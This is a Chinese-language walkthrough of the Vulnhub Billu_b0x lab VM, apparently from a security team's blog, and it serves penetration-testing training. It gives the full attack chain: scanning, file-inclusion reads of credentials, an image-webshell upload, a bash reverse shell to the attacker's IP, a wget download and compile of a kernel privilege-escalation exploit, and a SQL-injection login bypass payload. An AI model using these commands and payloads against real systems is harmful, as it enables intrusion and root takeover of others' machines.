0x01 介绍

vulnhub是一个提供各种漏洞平台的综合靶场,包含大量的靶场镜像,可以下载多种虚拟机,本地VM或VirtualBox即可启动靶场,同时也提供Docker镜像,可以使用Docker直接启动靶场,大大简化了渗透测试人员在搭建各种漏洞靶场时的步骤。Vulnhub像是游戏一样完成渗透测试、提权、漏洞利用、代码审计等实战。vulnhub也是OSCP证书刷题必备的靶场,所有实验均可用kali完成。

Vulnhub与Vulhub的区别:

  • Vulnhub
一种仿真渗透环境,攻击者通过一系列完整的渗透思路,获得所有的flag,将全部flag成功拿到,即可证明破解了这个靶机,通过vulnhub靶场实战靶机,可以增强渗透思路,对于内网渗透有一定的帮助。
靶机下载地址:https://www.vulnhub.com/
  • Vulhub
一个基于docker和docker-compose的漏洞环境集合,进入对应目录执行语句,即可启动漏洞环境,进行漏洞复现,让安全研究者更加专注于漏洞原理本身。
地址:https://vulhub.org
漏洞环境:https://vulhub.org/#/environments/
国外设计靶场一般分为几个套路
信息收集
漏洞挖掘
漏洞利用
权限提升
内网信息收集

0X02 Billu_b0x靶场搭建

靶机:使用VMWare打开下载的ova文件,设置网络连接为NET模式,靶机自动获取IP地址(192.168.17.128)。
攻击端:设置网络连接为Net模式,kali,192.168.17.129。

0X03 实战

信息收集

端口服务识别

启动靶机、攻击端。攻击端使用Nmap扫描C段,确认靶机IP地址为192.168.17.128。对靶机进行端口服务识别,靶机开放22、80端口。
nmap -sP 192.168.17.1/24# 扫描C段nmap -p 1-65535 -A 192.168.17.128# 识别端口服务
访问80端口,一看是登录页面,先随手测几个弱口令,没成功。
发现页面提示“Show me your SQLI skills”,提示有SQL注入。因为是登录框,第一个想到的是万能密码登录,抓包使用万能密码字典爆破,没有成功。
再使用sqlmap进行post注入,也没有成功。因为不清楚过滤规则,先暂时放一边,看看别的方向。
sqlmap -u "http://192.168.17.128/" -data "un=admin&ps=admin&login=let%27s+login" --level 3 -dbms mysql

目录爆破

使用kali自带的dirb进行目录爆破。
dirb"http://192.168.17.128" /usr/share/dirb/wordlists/big.txt
得到以下可能被利用的页面。
网页:c.php、test.php、index.php、add.php、in.php、c.php、show.php等。
目录:phpmy、uploaded_images等
  • add.php,一个文件上传页面,但是无法使用上传功能(源码发现没有与后端关联)。
  • in.php,phpinfo(),暴露了配置信息。
  • c.php,页面无内容。
  • test.php,提示了file参数,猜测有文件包含。
  • phpmy目录,数据库登录页面,弱口令登录失败。
  • uploaded_images目录,应该是文件上传后的文件夹。
test.php页面提示file参数为空,需要提供file参数,第一反应是文件包含漏洞。先从这个文件下手。
测试是否能通过包含读取系统文件内容,http://192.168/17/128?file=/etc/passwd,发现无法包含,会自动跳转至首页。
GET传参不行,猜测是POST。用hackbar将get请求变为POST请求(或使用Burp suite),进行文件包含,发现可以下载任意文件,通过这个方式获取passwd文件。再使用相同的办法下载上其他几个php文件。

审计源码

  • /etc/passwd。root、ica用户可以登录ssh
  • c.php。数据库连接配置文件,发现mysql用户名billu、密码b0x_billu

获取web页面用户名、密码

尝试用这个用户名、密码登录phpmyadmin,登录成功。在auth表中找到web登录页面用户名、密码,biLLu、hEx_it。

获取权限

用biLLu、hEx_it成功登录web页面,发现是账号管理界面。进入Add User,有个图片上传处,试试有没有文件上传漏洞。
查看之前获取的panel.php文件,发现pane.php存在本地文件包含漏洞。
抓包,经测试后发现系统对文件后缀、文件头进行校验。所以可以上传图片马结合文件上传,执行命令反弹shell。
上传添加了一句话cmd命令的图片马。上传成功。
抓取POST请求。在POST请求URL中加入执行命令的参数“?cmd=whoami”,POST请求的body中包含cmd.jpg图片马,load=/uploaded_images/cmd.jpg,先验证下是否能执行成功,如下图执行成功。

反弹shell

攻击端nc监听6666端口
nc -nlvp 6666
执行bash反弹shell
将命令进行URL编码,在POST的URL中发送命令
echo"bash -i >& /dev/tcp/192.168.17.129/6666 0>&1" | bash
python获取标准shell(交互式shell)
当前获取的webshell是非交互式shell,有一定的局限性(无法正常使用vim等文本编辑器、没有完成标签、没有向上箭头使用历史、不能运行top、sudo类似的命令)。在提权的时候,需要使用到其他工具就会很麻烦,所以需要获取交互式shell。
python -c 'import pty; pty.spawn("/bin/bash")'
查看内核版本信息
uname -a # 查看内核cat /etc/issue # 查看版本号

exp提权

攻击端搜索exp,发现靶机的12.04版本有个本地提权漏洞exp。
searchsploitubuntu 12.04 # 搜索ubuntu 12.04exp
开启http服务,目标主机下载exp
攻击端:cd /usr/share/exploitdb/exploits/linux/local# 切换至exp目录python -m SimpleHTTPServer # 开启http服务目标主机:cd /tmp # 当前目录没有创建文件权限wget http://192.168.17.129:8000/37292.c # 下载exp
编译执行,提权。
gcc -pthread 37292.c -o 37292 -lcrypt # 编译./37292# 执行

0x04 思路总结

信息收集时爆破目录获取到大量目录、文件。
test.php页面,提示file为空,需要提供参数,文件包含漏洞,利用hackbar下载爆破出的php文件;
passwd——root、ica可登录ssh;
add.php——上传页面,但没有后台处理代码,上传功能无法使用;
c.php——数据库连接文件,发现mysql连接用户名、密码(phpmyadmin登录);
phpmy:发现SQL注入页面的用户名密码。

思路一:图片马+文件包含

利用文件包含获取的c.php文件,获得phpmyadmin的user+pwd,登录phpmyadmin,获取80页面登录用户名、密码,利用添加用户的文件上传处,结合文件包含漏洞进行命令执行获取shell,反弹shell、提权。

思路二:SQL注入

利用test.php页面的文件包含漏洞,获取index.php源码,审计index.php,发现sql注入过滤规则:
str_replace的作用是将字符串\' 替换为空,因此构造SQL注入登录payload时,必须含有\'字符串,否则会报错。
urldecode的作用是将输入解码。
意思就是将uname和pass传入的值通过url解码后,将字符中的\'替换成空格。
常见的利用注入登录的payload是'or 1=1 --,修改这个在最后增加\',str_replace会将这个\'替换为空。
注入成功,payload是' or 1=1-- \'
登录web页面,再进行获取webshell、提权等操作。

思路三:SSH连接

phpmyadmin登录成功后,查看到版本为3.4.7,所以默认配置文件是config.inc.php。再通过URL猜测配置文件的路径为/var/www/phpmy/config.inc.php。再利用利用包含读取默认配置文件config.inc.php,发现root密码。进行ssh连接,直接获取root权限。

提权方法:

  • 利用文件包含结合图片马进行命令执行,反弹shell,攻击端nc连接,python获取标准交互式shell,查看内核、版本号,攻击端寻找exp、开启web服务,目标主机下载exp,gcc编译执行,提权成功。
  • 利用文件包含结合图片马进行命令执行,反弹shell,攻击端nc连接,切换至有写入权限的目录uploaded_images,写入菜刀马。查看内核、版本号,网上下载ubuntu著名本地提权漏洞exp,通过菜刀上传,编译、执行exp,提权成功。
E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章370余篇,自研平台达到26个,目有15个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们
继续阅读
阅读原文